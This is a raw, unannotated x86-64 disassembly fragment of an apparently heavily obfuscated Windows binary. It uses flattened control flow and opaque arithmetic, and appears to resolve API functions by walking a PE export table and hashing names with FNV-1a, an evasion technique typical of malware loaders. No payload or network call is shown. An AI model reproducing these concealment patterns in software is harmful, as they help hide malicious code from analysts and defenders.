jne 0x14008dcd0
mov eax, dword [0x1400f2770]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa4df38c2
mov ecx, 0x63a2322b
cmove eax, ecx
cmp dword [0x1400f2774], 0xa
cmovl eax, ecx
jmp 0x14008dcd0
mov eax, dword [rbp + 0x4bc]
mov rcx, qword [rbp + 0x468]
mov rdx, qword [rbp + 0x470]
mov ebx, dword [rdx + 0x1c]
mov edx, dword [rdx + 0x24]
add rbx, rcx
add rdx, rcx
movzx eax, word [rdx + rax*2]
mov eax, dword [rbx + rax*4]
add rax, rcx
mov qword [rbp + 0x3d8], rax
mov eax, 0xa395c87a
mov dword [rbp + 0x494], 1
jmp 0x14008dcd0
mov ecx, dword [0x1400f2738]
mov eax, dword [0x1400f273c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete r8b
cmp eax, 0xa
setl r9b
mov ecx, r9d
xor cl, r8b
mov ebx, edx
and bl, r9b
xor bl, cl
mov ebx, 0x17954bb8
mov esi, 0x9b012d00
cmovne ebx, esi
test edx, edx
mov edi, 0x9b012d00
cmove edi, ebx
cmp eax, 0xa
cmovl edi, esi
test cl, cl
cmove edi, ebx
test edx, edx
mov edx, 0x581f37f0
mov ecx, 0x17954bb8
cmovne edx, ecx
mov ebx, edi
cmove ebx, esi
cmp eax, 0xa
mov eax, dword [0x1400f2710]
mov esi, dword [0x1400f2714]
mov ecx, 0x581f37f0
cmovl edx, ecx
mov dword [rbp + 0x4c4], edx
cmovge ebx, edi
mov dword [rbp + 0x448], ebx
lea r15d, [rax - 1]
imul r15d, eax
mov r14d, r15d
and r14d, 1
sete r10b
mov dword [rbp + 0x438], esi
cmp esi, 0xa
setge al
setl r11b
mov ebx, r11d
xor bl, r10b
mov edx, ebx
xor dl, 1
and r14b, r11b
or r14b, dl
xor r14b, bl
mov edx, r14d
xor dl, 1
and al, r10b
or al, dl
or r11b, r10b
xor r11b, bl
mov ebx, r11d
xor bl, al
mov edx, ebx
not dl
mov ecx, r11d
not cl
and cl, al
or cl, dl
xor al, 1
or al, r11b
xor cl, al
test cl, 1
mov edx, 0x8353906e
mov esi, 0x71946ac1
cmovne edx, esi
test bl, 1
mov ebx, 0x71946ac1
cmovne ebx, edx
test al, 1
cmove ebx, edx
test cl, 1
mov eax, dword [rbp + 0x4bc]
mov rcx, qword [rbp + 0x468]
mov rdx, qword [rbp + 0x470]
mov esi, 0x8353906e
cmovne ebx, esi
mov edx, dword [rdx + 0x20]
add rdx, rcx
mov r10d, dword [rdx + rax*4]
add r10, rcx
test r14b, r14b
mov eax, 0x8353906e
cmovne eax, ebx
test r11b, r11b
cmove eax, ebx
mov dword [rbp + 0x4c0], eax
or r9b, r8b
mov ecx, 0x7694ece2
mov eax, 0xe59fd857
cmovne ecx, eax
mov dword [rbp + 0x450], ecx
mov ecx, 0x7694ece2
mov eax, 0x9fdcb46a
cmovne ecx, eax
mov dword [rbp + 0x454], ecx
mov eax, 0xbd0b03e6
mov r9d, 0x811c9dc5
mov dword [rbp + 0x44c], r15d
jmp 0x14008e120
mov rax, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x4d8]
mov eax, 0x9b012d00
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x17954bb7
jg 0x14008fc50
cmp eax, 0xbd0b03e5
jg 0x14008fdc0
cmp eax, 0x87ce9d3c
je 0x14008fe11
cmp eax, 0x9b012d00
je 0x14008fe2d
cmp eax, 0x9fdcb46a
jne 0x14008e120
mov dword [rbp + 0x490], r9d
mov dword [rbp + 0x48c], edi
mov dword [rbp + 0x3e8], esi
mov dword [rbp + 0x3e0], r8d
mov qword [rbp + 0x400], r10
test r15b, 1
movsx r13d, byte [rbp + 0x4e7]
mov r8d, dword [rbp + 0x4d0]
sete byte [rbp + 0x4ed]
cmp dword [rbp + 0x438], 0xa
setl byte [rbp + 0x4ee]
mov eax, 0x462bec05
jmp 0x14008e1c0
mov eax, dword [rbp + 0x4e8]
cmp eax, 0x5b
mov eax, 0x22c0f4b1
mov ecx, 0xb9e70da7
cmovl eax, ecx
nop dword [rax]
cmp eax, 0x3117fdc3
jle 0x14008e210
cmp eax, 0x58a11e18
jg 0x14008ebe0
cmp eax, 0x3117fdc4
je 0x14008ec18
cmp eax, 0x462bec05
jne 0x14008e1c0
movzx ecx, byte [rbp + 0x4ed]
cmp byte [rbp + 0x4ee], 0
mov eax, 0x71946ac1
mov edx, 0x3117fdc4
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14008e1c0
cmp eax, 0x1f53ad1a
jg 0x14008ec00
cmp eax, 0x8353906e
je 0x14008ec3a
cmp eax, 0xb9e70da7
jne 0x14008e1c0
mov r9d, dword [rbp + 0x4e8]
mov eax, r9d
and eax, 0x300d32eb
or eax, 0x8922c414
mov ecx, r9d
and ecx, 0xcff2cd14
xor ecx, eax
mov eax, ecx
xor eax, 0x76dd3beb
mov edx, ecx
xor edx, 0x8922c414
or edx, eax
xor ecx, 0x9f2d3869
and ecx, edx
xor ecx, 0x160ffc7d
and ecx, edx
mov edx, ecx
and edx, 0xe1770bb
mov r15d, ecx
and r15d, 0xf1e88f44
or r15d, 0x6022002
xor r15d, edx
xor r15d, 0x81550b9
or r15d, ecx
mov ecx, r9d
and ecx, 0x6098fcd3
or ecx, 0xf210028
mov eax, r9d
and eax, 0x9f67032c
xor eax, ecx
mov ecx, eax
xor ecx, 0x1367093
mov ebx, eax
or ebx, 0xf1e88f44
xor ebx, 0xffe98f6c
or ebx, ecx
mov ecx, eax
xor ecx, 0xfec98f6c
or ecx, ebx
xor ebx, eax
xor ebx, 0x1367093
and ebx, ecx
mov eax, r15d
and eax, 0xee181f2d
mov ecx, r15d
and ecx, 0x11e7e0d2
or ecx, 0x6000808
xor ecx, eax
mov eax, ebx
mov edx, ebx
not r15d
and r15d, ebx
xor ebx, 0x11e7e0d2
xor eax, 0xb4b1d84f
and eax, ebx
or edx, 0x5aa9c762
xor edx, 0xfeb9df6f
or edx, eax
mov eax, ecx
xor eax, 0x4d4e2fb8
xor ecx, 0xb2b1d047
and ecx, edx
not edx
and edx, eax
or r15d, edx
or r15d, ecx
not r15d
mov eax, r15d
and eax, 0xa4519b98
and r15d, 0x5bae6467
or r15d, 0x84109000
xor r15d, eax
mov eax, r15d
xor eax, 0xdfbef467
mov r11d, r15d
and r11d, 0x5dfaf697
xor r15d, 0x824402f0
and r15d, eax
mov eax, r11d
xor eax, r15d
xor eax, 0x400290
xor r11d, 0x400290
and r11d, r15d
or r11d, eax
mov r10d, r11d
xor r10d, 0xf7bc1db4
mov eax, r11d
or eax, 0xe66cfdeb
mov ecx, eax
xor ecx, 0xee6fffeb
mov edx, r11d
and edx, 0x19930214
xor edx, 0x8030200
mov esi, r11d
xor esi, 0x11d0e05f
or esi, edx
mov edi, esi
not edi
and edi, ecx
and eax, 0xc2df5143
and ecx, 0x19000214
or ecx, eax
xor ecx, esi
mov edx, edi
xor edx, ecx
xor edx, 0x3db0aebc
xor ecx, 0x19900214
and ecx, edi
mov eax, edx
and eax, 0xe66cfdeb
and edx, 0x19930214
or edx, ecx
or edx, eax
mov ebx, edx
and ebx, 0xecc1695
mov r12d, edx
xor r12d, 0xe8a0eb7e
mov r14d, ebx
xor r14d, 0xf9b3eb7e
mov esi, edx
xor esi, 0x175f1481
mov edi, ebx
xor edi, 0x844653a6
and edi, r14d
or ebx, 0x820a4727
mov ecx, edx
or ecx, 0x7df5b8d8
xor ecx, 0x7fffbcd9
mov eax, edx
xor eax, 0x6aaaac59
and eax, r12d
or eax, ecx
mov ecx, ebx
and ecx, 0x888217a6
and edx, 0x4440010
or edx, ecx
xor ebx, 0x864e57a7
and ebx, edi
and edi, 0xecc5695
xor edi, edx
xor edi, 0x4441684
or ebx, edi
xor ebx, eax
or esi, r14d
mov eax, esi
and eax, 0xecc1695
xor eax, ebx
xor eax, 0xecc1695
not esi
and esi, ebx
or esi, eax
mov ebx, esi
and ebx, 0x3d6ad4f5
mov r14d, esi
and r14d, 0xc2940808
mov edx, esi
or edx, 0xc2952b0a
mov edi, esi
and edi, 0xc2952b0a
mov r12d, ebx
xor r12d, 0x1501f783
and r12d, edx
xor ebx, 0x3d6ad4f5
mov eax, ebx
and eax, 0x354014c4
and edx, 0x4a2ee339
or edx, eax
or ebx, edi
xor edx, edi
not edi
mov eax, esi
or eax, 0xeaff2b7e
and edi, 0x286b2376
or edi, r14d
mov ecx, eax
and ecx, 0x8febd69e
and esi, 0x10000001
or esi, ecx
not eax
and eax, r12d
and r12d, 0x3d6af7f5
xor r12d, esi
xor r12d, 0x9fead69d
or eax, r12d
xor eax, edi
xor edx, 0xb5d11cc6
and edx, ebx
or edx, eax
mov eax, edx
and eax, 0xd25c9294
or eax, 0x28034442
and edx, 0x2da36d6b
xor edx, eax
mov eax, edx
xor eax, 0x156990b7
mov ecx, edx
xor ecx, 0xea966f48
or ecx, eax
xor edx, 0x60a362d4
and edx, ecx
mov eax, edx
xor eax, 0x8a350d9c
or eax, ecx
xor edx, ecx
xor edx, 0x75caf263
and edx, eax
mov eax, r9d
and eax, 0xbae01e84
mov ecx, r9d
and ecx, 0x451fe17b
or ecx, 0x98801e04
xor ecx, eax
mov eax, r9d
and eax, 0x80000
mov esi, ecx
and esi, 0xb4240811
and ecx, 0x4bd3f7ee
add eax, esi
add eax, 0x52e686
xor eax, ecx
and r9d, 0xf133e96a
mov esi, r9d
xor r9d, eax
xor eax, 0x9012e802
xor esi, 0xf133e96a
and esi, eax
xor r9d, 0x672d077d
or esi, r9d
mov r14d, esi
not r14d
and r14d, edx
mov r12d, edx
or r12d, 0x8e000724
mov eax, edx
and eax, 0x8e000724
and r9d, 0xc000004
mov ebx, esi
and ebx, 0x82000720
or ebx, r9d
mov edi, edx
xor edi, 0x8a000104
and edi, eax
not eax
mov r9d, r12d
and r9d, 0xfb0fa016
mov ecx, eax
and ecx, 0xea028104
or edi, ecx
mov ecx, edx
and ecx, 0xf058c9
or ecx, r9d
xor ecx, edi
xor ecx, 0x11fd79db
mov edi, edx
and edi, 0x609ee042
and r12d, 0x9f611a9d
or r12d, edi
mov edi, edx
and edi, 0x520
and eax, 0x9f611a9d
add eax, edi
add eax, 0x609ee042
xor eax, r12d
xor edx, 0x8e000724
or edx, eax
not edx
or edx, ecx
mov eax, ebx
and eax, 0x6000000
and esi, 0x71fff8db
or esi, eax
or ebx, 0x262e5009
xor ebx, esi
mov eax, ebx
xor eax, 0xa82e572d
xor ebx, 0x57d1a8d2
and ebx, edx
not edx
and edx, eax
or ebx, edx
mov eax, r14d
and eax, 0xc64177d6
or eax, 0x39268801
mov ecx, r14d
and ecx, 0x39be8829
xor ecx, eax
mov eax, ecx
xor eax, 0xff67ffd7
mov edx, ebx
xor edx, 0x39be8829
or edx, eax
xor ecx, ebx
xor ecx, 0x39268801
and ecx, eax
xor ecx, edx
not ecx
and ebx, r14d
mov eax, ebx
and eax, 0xa32261d0
or eax, 0x10999806
mov esi, ebx
and esi, 0x5cdd9e2f
xor esi, eax
xor esi, ecx
and ebx, ecx
mov eax, esi
xor eax, ebx
xor eax, 0x10999806
xor esi, 0x10999806
and esi, ebx
or esi, eax
mov edx, esi
mov r9d, esi
mov ecx, esi
mov r12d, esi
mov eax, esi
and eax, 0x310718ea
or eax, 0x6f8a511
mov r14d, esi
and r14d, 0xcef8e715
xor r14d, eax
mov eax, r14d
xor eax, 0xf7cb4c5b
or eax, esi
xor r14d, esi
and esi, 0x190a9b13
or edx, 0xe6f564ec
and r9d, 0xe6f564ec
mov edi, esi
xor edi, 0xc026d4ea
and edi, edx
or ecx, 0xfffd6ffd
mov ebx, ecx
and ebx, 0xb0495454
and r12d, 0x28002
or r12d, ebx
not ecx
and ecx, edi
and edi, 0x592e9bbb
xor edi, r12d
xor edi, 0x304b9016
or ecx, edi
xor ecx, r9d
xor ecx, 0xd92c4ff9
xor esi, 0x190a9b13
mov edi, esi
and edi, 0x21101
and edx, 0xddf8ce1a
or edx, edi
or esi, r9d
xor edx, r9d
xor edx, 0x220731e5
and edx, esi
or edx, ecx
mov ecx, edx
xor ecx, 0x190a9b13
xor edx, 0x17c68da6
or edx, ecx
xor r14d, 0x834b3a4
and r14d, eax
mov eax, edx
not eax
and eax, r14d
xor r14d, edx
xor r14d, eax
mov r9d, r11d
xor r9d, 0x843e24b
mov ebx, r11d
mov edx, r11d
mov edi, r11d
mov ecx, r11d
and ecx, 0xf4e5e31e
xor r11d, 0x359feaa
and r11d, r10d
mov eax, ecx
xor eax, r11d
xor eax, 0x41e20a
xor ecx, 0x41e20a
and ecx, r11d
or ecx, eax
mov esi, ecx
xor esi, 0x6653709e
and esi, r9d
or r9d, r10d
and r15d, 0x82000820
and ebx, 0x1098338a
or ebx, r15d
and edx, 0x6d67c455
or edx, ebx
mov eax, edx
xor eax, 0x6524261e
mov ebx, r9d
and ebx, 0x6d67c455
xor edi, r9d
and r9d, 0x92983baa
or r9d, 0x64244445
xor r9d, ebx
mov ebx, r9d
xor ebx, 0xf6bc7fef
xor edx, 0x9adbd9e1
and edx, ebx
xor r9d, 0x9438010
and r9d, eax
xor edi, 0xf7bc1db4
or edi, r10d
not edi
or edi, r9d
or edi, edx
mov eax, edi
not eax
mov ebx, edi
and ebx, 0x6d496c7f
mov edx, ecx
xor edx, 0x99ac8f61
and edx, r10d
or edx, esi
xor ecx, edx
xor ecx, 0x6653709e
and ecx, edx
mov edx, edi
xor edx, 0x5014c23
and edx, ebx
and ebx, ecx
mov esi, edi
and esi, 0x5014c23
xor esi, edx
xor esi, 0x85b5cfa3
and edx, 0x5014c23
or edx, esi
mov esi, ecx
and esi, 0x85b5cfa3
or esi, 0x840004c
and ecx, 0x7a4a305c
xor ecx, esi
xor ecx, edx
mov edx, ecx
mov esi, ebx
xor esi, ecx
xor esi, 0x720a3010
mov r9d, esi
and r9d, ebx
xor ecx, 0x60082010
and ecx, ebx
not ebx
xor edx, 0x8df5cfef
and edx, ebx
or edx, ecx
xor edx, r9d
and ecx, esi
or ecx, edx
mov ebx, eax
and ebx, edi
and edi, 0x29086950
and eax, 0xd6f7968f
or eax, edi
xor eax, 0xd6f7968f
and ebx, 0xffffffdf
or ebx, eax
mov r9d, ecx
xor r9d, 0x6d496c5f
lea r10d, [rbx + 0x20]
mov eax, ecx
xor eax, 0xe8f03d9b
mov esi, ecx
xor esi, 0x92b693a0
or esi, eax
mov edi, ecx
or edi, 0x7a46ae3b
xor edi, 0x7f4fee7f
or eax, edi
mov r11d, ebx
and r11d, 0x85b951c4
mov edx, ebx
xor edx, 0x85b951e4
or edx, r11d
not esi
and esi, edi
xor esi, eax
mov edi, edx
and edi, 0xffffffdf
mov eax, edi
xor eax, 0x6727c902
xor ebx, 0x291100
and ebx, r11d
mov r15d, eax
xor edi, 0xffffffdf
mov r12d, edi
and r12d, 0x1bcc4c01
and eax, 0xe433b3de
or eax, r12d
or edi, r11d
xor eax, r11d
or r11d, 0x8594c8c6
xor ebx, r11d
or r15d, 0x8594c8c6
or edx, 0x7a6b3739
xor edx, r15d
mov r11d, edx
xor r11d, 0x81000
and r11d, ebx
not ebx
xor edx, 0xe7b341e4
and edx, ebx
or edx, r11d
xor eax, 0x7fefcd03
and eax, edi
or eax, edx
mov edx, esi
xor edx, 0x1ac5778a
mov ebx, eax
and ebx, 0xe53a8875
or ebx, 0x8453780
and eax, 0x1ac5778a
xor eax, ebx
mov ebx, eax
xor ebx, 0xed7fbff5
xor esi, 0xe53a8875
and esi, ebx
xor eax, 0x1280400a
and eax, edx
or eax, esi
and r9d, r10d
xor ecx, r10d
xor ecx, 0x6d496c5f
or ecx, r9d
mov edi, eax
and edi, 0x5bce1f7c
xor edi, ecx
mov edx, eax
xor edx, ecx
not ecx
or ecx, eax
and eax, 0xa431e083
or eax, 0x1ac01b00
xor edi, eax
and ecx, edx
mov eax, edi
xor eax, ecx
xor eax, 0xe53fe4ff
xor edi, 0xe53fe4ff
and edi, ecx
or edi, eax
mov ecx, edi
and ecx, 0x563e2c9a
or ecx, 0x9005300
mov eax, edi
and eax, 0xa9c1d365
xor eax, ecx
mov edx, edi
xor edx, eax
xor eax, 0xf6ffacff
or eax, edi
xor edx, 0x9005300
and eax, edx
mov ecx, eax
xor ecx, edi
and ecx, edx
mov edx, edi
and edx, 0xa4a3d9c2
and edi, 0x5b5c263d
or edi, 0xa0a01800
xor edi, edx
mov edx, edi
xor edx, 0xfbfc3e3d
mov ebx, eax
and ebx, 0xa4a3d9c2
or ebx, 0x4354221d
and eax, 0x5b5c263d
xor eax, ebx
mov ebx, eax
xor ebx, 0xe7f7fbdf
xor edi, 0x403c1c2
and edi, ebx
xor eax, 0x18080420
and eax, edx
or eax, ecx
or eax, edi
mov ecx, eax
not ecx
and ecx, r14d
mov r9d, r14d
xor r9d, eax
xor r9d, ecx
mov r11d, r14d
and r11d, 0x9903995d
mov ecx, eax
or ecx, 0x66fc66a2
mov esi, ecx
not esi
mov r10d, eax
and r10d, 0x66fc66a2
and r14d, 0x66fc66a2
or r14d, 0x98008855
and ecx, 0xae0a6a3c
mov edi, esi
and edi, 0x11019141
or edi, ecx
mov ebx, edi
xor ebx, 0x51f595c3
mov ecx, edi
xor edi, 0xae0a6a3c
mov r15d, edi
or edi, r10d
not r10d
xor ecx, 0xc263434a
and ecx, ebx
and esi, 0x91029009
or esi, ecx
mov ecx, eax
and ecx, 0x60080022
mov edx, r10d
and edx, 0xc602114
add ecx, edx
add ecx, 0x3020681
mov edx, eax
and edx, 0x2944680
xor edx, ecx
mov ecx, edx
xor ecx, 0x630b0ee3
xor edx, 0x9cf4f11c
and edx, esi
not esi
and esi, ecx
or edx, esi
and r15d, 0x89021805
and ebx, 0x10ddc158
or ebx, r15d
and eax, 0x662026a2
and r10d, 0x10ddc158
or r10d, eax
xor r10d, ebx
not r10d
and r10d, edi
or r10d, edx
xor r10d, r11d
xor r10d, r14d
mov eax, r10d
xor eax, 0x1031108
mov ecx, r9d
xor r10d, 0xfefceef7
and r10d, r9d
xor r9d, 0x6ee49458
mov edx, eax
and edx, 0x6ee49458
and eax, 0x911b6ba7
or eax, 0x26e40458
xor eax, edx
mov edx, eax
xor edx, 0xb7ff6fff
xor ecx, 0x911b6ba7
and ecx, edx
xor eax, 0x48009000
and eax, r9d
or r10d, eax
or r10d, ecx
mov eax, 0x1f53ad1b
jmp 0x14008e1c0
cmp eax, 0x58a11e19
je 0x14008e1a3
cmp eax, 0x71946ac1
jne 0x14008e1c0
mov eax, 0x3117fdc4
jmp 0x14008e1c0
cmp eax, 0x22c0f4b1
jne 0x14008ec53
mov eax, 0x1f53ad1b
mov r10d, dword [rbp + 0x4e8]
jmp 0x14008e1c0
mov dword [rbp + 0x4e8], r13d
mov eax, dword [rbp + 0x4e8]
cmp eax, 0x41
setge byte [rbp + 0x4ef]
mov eax, dword [rbp + 0x4c0]
jmp 0x14008e1c0
cmp byte [rbp + 0x4ef], 0
mov eax, 0x22c0f4b1
mov ecx, 0x58a11e19
cmovne eax, ecx
jmp 0x14008e1c0
cmp eax, 0x1f53ad1b
jne 0x14008e1c0
mov eax, r8d
and eax, 0xa06206ca
mov ecx, r8d
and ecx, 0x5f9df935
or ecx, 0x620008
xor ecx, eax
mov edx, ecx
xor edx, 0xff9dfff7
mov ebx, ecx
xor ebx, 0x3c382075
and ebx, edx
mov eax, ecx
and eax, 0xc3a5df82
xor eax, 0x200000
or eax, ebx
xor ecx, 0x620008
or ecx, edx
xor eax, 0xc3a5df82
and eax, ecx
mov edx, eax
and edx, 0x1ba9fcee
mov ecx, eax
xor ecx, 0xa0020200
and ecx, eax
mov ebx, eax
or ebx, 0xe4560311
xor edx, 0xb1aab604
and edx, ebx
mov r11d, eax
or r11d, 0xee574bfb
mov ebx, eax
and ebx, 0xa0020200
xor ebx, 0xaa034aea
and ecx, 0xe4560311
or ecx, ebx
mov ebx, r11d
and ebx, 0x921be1fb
and eax, 0x1a01404
or eax, ebx
not r11d
and r11d, edx
and edx, 0x3ba9feee
xor edx, eax
xor edx, 0x13b9f5ff
or r11d, edx
xor r11d, ecx
mov eax, r11d
and eax, 0x8b181a5c
or eax, 0x34434021
and r11d, 0x74e7e5a3
xor r11d, eax
mov eax, r11d
xor eax, 0x2feabccf
mov ecx, r11d
xor ecx, 0xd0154330
mov edx, r11d
or edx, 0x2769e20a
xor edx, 0xf77de33a
xor r11d, 0xf77ca13a
and r11d, eax
or r11d, edx
or ecx, eax
xor r11d, 0x2769e20a
and r11d, ecx
mov eax, r11d
xor eax, 0x2e69652b
mov ecx, eax
and ecx, 0xe043fd87
or ecx, 0xaa80010
mov r9d, eax
and r9d, 0x1fbc0278
xor r9d, ecx
and eax, 0x2e69652b
mov ecx, eax
xor ecx, r9d
xor ecx, 0x24c1653b
xor r9d, 0x2441652b
and r9d, eax
or r9d, ecx
mov eax, r8d
and eax, 0xfb1401a1
or eax, 0x688008
mov r15d, r8d
and r15d, 0x4ebfe5e
xor r15d, eax
mov eax, r15d
xor eax, 0xbaad4363
or r15d, 0x453a3c94
xor r15d, 0x457abc9c
or r15d, eax
mov eax, r8d
and eax, 0xbac5c36b
mov ecx, r15d
xor ecx, 0x29379af7
mov edx, r8d
and edx, 0x92c04108
or edx, 0x29151af2
mov esi, r8d
and esi, 0x28058263
xor esi, edx
mov edx, esi
xor edx, 0xffdd7ffa
mov edi, r15d
xor edi, 0xd6c86508
and edi, edx
xor esi, 0x228005
and esi, ecx
or esi, edi
mov ecx, r15d
xor ecx, eax
not r15d
or r15d, eax
and r15d, ecx
or r15d, esi
mov eax, r8d
and eax, 0x3e90666b
mov ecx, r8d
and ecx, 0xc16f9994
or ecx, 0x2a106008
xor ecx, eax
xor ecx, r15d
mov eax, r15d
xor eax, r8d
xor eax, 0x94aca640
xor r15d, 0x94aca640
and r15d, r8d
or r15d, eax
mov eax, ecx
xor eax, 0x414339b7
or eax, r15d
xor r15d, ecx
xor r15d, 0xbebcc648
and r15d, eax
mov r14d, r10d
not r14d
mov edx, r10d
and edx, 0x437fed4a
mov eax, r10d
and eax, 0xbc8012b5
or eax, 0x4127600a
xor eax, edx
xor eax, 0x2588d40
or eax, r10d
mov ebx, r10d
and ebx, 0x25b4148
xor ebx, 0xadb43e9
mov ecx, r10d
xor ecx, 0xbedb53fd
and ecx, edx
mov edx, eax
and edx, 0xadb43e9
and eax, 0xf524bc16
or eax, 0x8004140
xor eax, edx
mov edx, ecx
not edx
or edx, r10d
not edx
and edx, 0x25b4148
or ecx, ebx
or ecx, edx
mov edx, ecx
xor edx, eax
xor edx, 0x4924ed42
and edx, ecx
xor eax, 0x25b0008
or eax, ecx
xor eax, edx
mov ecx, eax
not ecx
mov ebx, eax
xor ebx, 0x8801225
and ebx, ecx
mov ecx, eax
or ecx, 0x437fed4a
and ebx, 0xbc8012b5
mov esi, eax
and esi, 0x437fed4a
lea r8d, [rsi - 0x4bffff70]
mov edi, eax
and edi, 0x14000010
mov edx, ecx
and edx, 0xa0448dc0
or edx, edi
xor edx, ebx
lea edi, [rdx + 0x1384000]
mov ebx, eax
and ebx, 0x28800011
and ecx, 0x9729dbac
or ecx, ebx
xor ecx, esi
xor esi, 0x4a83322f
and esi, edi
xor edx, 0xf647adda
and edx, r8d
or edx, esi
xor ecx, 0xbfa9dbbd
xor eax, 0x437fed4a
or eax, ecx
not eax
or eax, edx
mov ebx, eax
xor ebx, 0xb735624
mov ecx, eax
or ecx, 0xbf61617e
mov edx, eax
xor edx, 0x4bedc8a5
and edx, ebx
mov ebx, ecx
and ebx, 0xab6bb319
and eax, 0x40940c80
or eax, ebx
xor eax, edx
xor eax, 0xebeda999
xor ecx, 0xffede9ff
and ecx, edx
or ecx, eax
mov ebx, ecx
xor ebx, 0xb412375a
mov edx, ecx
and edx, 0x41963a78
xor edx, 0x41840820
mov eax, ecx
xor eax, 0xf5840d22
and eax, ebx
or eax, edx
mov ebx, eax
xor ebx, 0xbe69c587
mov edx, eax
and edx, 0xc7ae538e
xor edx, 0x41861208
mov edi, eax
xor edi, 0x863869f6
or edi, edx
mov edx, ecx
xor edx, 0x73bc64d4
xor ecx, 0x4bedc8a5
or ecx, edx
and ecx, edi
mov edx, eax
xor edx, 0x9000a0ac
and edx, ebx
mov ebx, eax
xor ebx, edx
xor ebx, 0x6fff5f53
xor eax, 0x6fff5f53
and eax, edx
or eax, ebx
mov esi, ecx
xor esi, 0x1638c95a
mov edi, ecx
xor edi, 0xdba443a
and edi, esi
mov edx, ecx
or edx, 0xe47d729f
mov r8d, edx
and r8d, 0x160e96b2
mov ebx, ecx
and ebx, 0x9800940
or ebx, r8d
xor ebx, edi
xor ebx, 0xd8e16b2
xor edx, 0xedff76bf
and edx, edi
or edx, ebx
xor edx, eax
xor ecx, eax
xor ecx, 0x1638c95a
and esi, eax
or esi, ecx
mov ebx, edx
xor ebx, 0xe47d729f
xor edx, esi
xor edx, 0xe47d729f
or ebx, esi
not ebx
or ebx, edx
mov eax, ebx
and eax, 0x6ec3b5e4
or eax, 0x80801
and ebx, 0x913c4a1b
or ebx, 0x28c13164
xor ebx, eax
mov eax, ebx
xor eax, 0xd736c69a
mov ecx, ebx
or ecx, 0xfb4c88f1
xor ecx, 0xfbcdb9f5
mov edx, ebx
xor edx, 0xd385b194
and edx, eax
or edx, ecx
xor ebx, edx
xor edx, 0x4b3770e
or edx, eax
xor ebx, 0x2c7a4e6b
and ebx, edx
or r14d, 0xd1969ad4
mov eax, r10d
and eax, 0x248000a
mov ecx, r14d
and ecx, 0x98b14025
or ecx, eax
mov r8d, r14d
and r8d, 0x25043500
or r8d, ecx
mov eax, r8d
and eax, 0xb2a41504
xor eax, 0x20280c0
xor r8d, 0xf0ec1f1e
or r8d, eax
and r10d, 0x22000528
and r14d, 0x5debeac7
or r14d, r10d
mov eax, r14d
and eax, 0xc49602b
xor eax, 0xc496003
xor r14d, 0x10b280fc
or r14d, eax
mov eax, r8d
and eax, 0xfffdff3f
xor eax, 0x1aaf6d2c
and eax, r8d
mov ecx, r8d
and ecx, 0x1aad6dac
or ecx, 0x24001052
mov edx, r14d
and edx, 0x64400203
or r8d, r14d
and r14d, 0xa296d28
or r14d, 0x64528243
xor r14d, edx
xor r14d, ecx
xor r14d, eax
xor r14d, 0x41429241
not r8d
or r8d, r14d
mov r14d, r15d
mov r10d, r15d
mov r12d, r15d
mov ecx, r15d
mov edx, r15d
mov edi, r15d
and edi, 0x100108
mov esi, r15d
or esi, 0x3bac76d0
mov eax, r15d
xor eax, 0xc453892f
or eax, esi
and esi, 0xfc6bc837
or esi, edi
mov edi, r15d
xor esi, r15d
and r15d, 0x8d80cfea
xor r14d, 0x1008060
and r14d, r15d
and r10d, 0x70663010
and r12d, 0x2190005
or r12d, 0x7c006010
xor r12d, r10d
and ecx, 0x1008060
or ecx, 0x4804600
xor ecx, r14d
xor ecx, r12d
xor ecx, 0xaff1605
and edx, 0x727f3015
or edx, 0x8000cf62
xor edx, r15d
xor edx, 0xf27fff77
xor edi, 0x8d80cfea
or edi, edx
not edi
or edi, ecx
mov r10d, edi
xor r10d, 0x727f3015
mov ecx, edi
xor ecx, 0xb62cb93a
and ecx, r10d
mov r15d, edi
xor r15d, 0x49d346c5
or r15d, ecx
xor esi, 0x38284010
and esi, eax
mov eax, r9d
xor eax, 0x40008000
and eax, r9d
and r11d, 0x40008000
xor r11d, 0x4a849408
and eax, 0x44018902
or eax, r11d
mov edx, r9d
mov r11d, r9d
mov ecx, r9d
and ecx, 0x8010000c
and edx, 0x420021
or edx, 0x45880090
xor edx, eax
and r11d, 0x3bac76d0
xor r11d, 0x8afe54bd
xor ecx, edx
xor ecx, 0x1a04008
and ecx, r11d
xor edx, 0x41a14902
or edx, r11d
xor edx, ecx
mov r14d, r15d
mov eax, r15d
and eax, 0xb2e0d7b3
and r14d, 0x4d1f284c
or r14d, 0x22804682
xor r14d, eax
mov eax, r14d
xor eax, 0x6f9f6ece
mov ecx, esi
and ecx, 0xb2e0d7b3
or ecx, 0x45082048
mov r11d, esi
and r11d, 0x4d1f284c
xor r11d, ecx
mov r12d, r14d
xor r12d, 0x98385838
and r12d, eax
mov ecx, r11d
xor ecx, 0x8170804
mov eax, r11d
xor eax, 0x4fc10d
and eax, ecx
mov ecx, r14d
or ecx, 0x858c909
or r11d, 0xf7a736f6
xor r11d, 0xf7eff7ff
or r11d, eax
mov eax, ecx
and eax, 0x8899f000
and r14d, 0x772606f6
or r14d, eax
mov eax, r15d
xor r14d, r12d
xor ecx, 0x9878d939
and ecx, r12d
mov r12d, r15d
and eax, 0x9e366bbf
xor eax, esi
xor r12d, esi
not esi
or esi, r15d
xor r14d, 0x9838d030
or ecx, r14d
mov r14d, r9d
xor ecx, r11d
mov r13d, r9d
and r15d, 0x61c99440
or r15d, 0x21040b3
xor eax, r15d
and esi, r12d
mov r11d, eax
xor r11d, esi
xor r11d, 0xfdefbf4c
xor eax, 0xfdefbf4c
and eax, esi
or eax, r11d
mov esi, eax
and esi, 0xc0508439
or esi, 0x892802
and eax, 0x3faf7bc6
xor eax, esi
mov r15d, eax
xor r15d, 0x892802
mov r11d, ecx
and r11d, 0x4e3f9ca4
mov r12d, r15d
and r12d, 0xb1c0635b
xor r12d, r11d
mov esi, r15d
xor r15d, ecx
xor eax, 0xff76d7fd
or eax, ecx
and ecx, 0xb1c0635b
or ecx, 0xc081c80
xor r12d, ecx
and esi, 0x4e3f9ca4
or esi, 0xb040624a
xor esi, r12d
xor esi, 0x43b78135
and eax, r15d
or eax, esi
mov r12d, eax
not r12d
mov esi, eax
and esi, 0x4de1c672
mov r11d, eax
or r11d, 0x4de1c672
mov r15d, r11d
and r15d, 0x26011ca7
and r12d, 0x901e2108
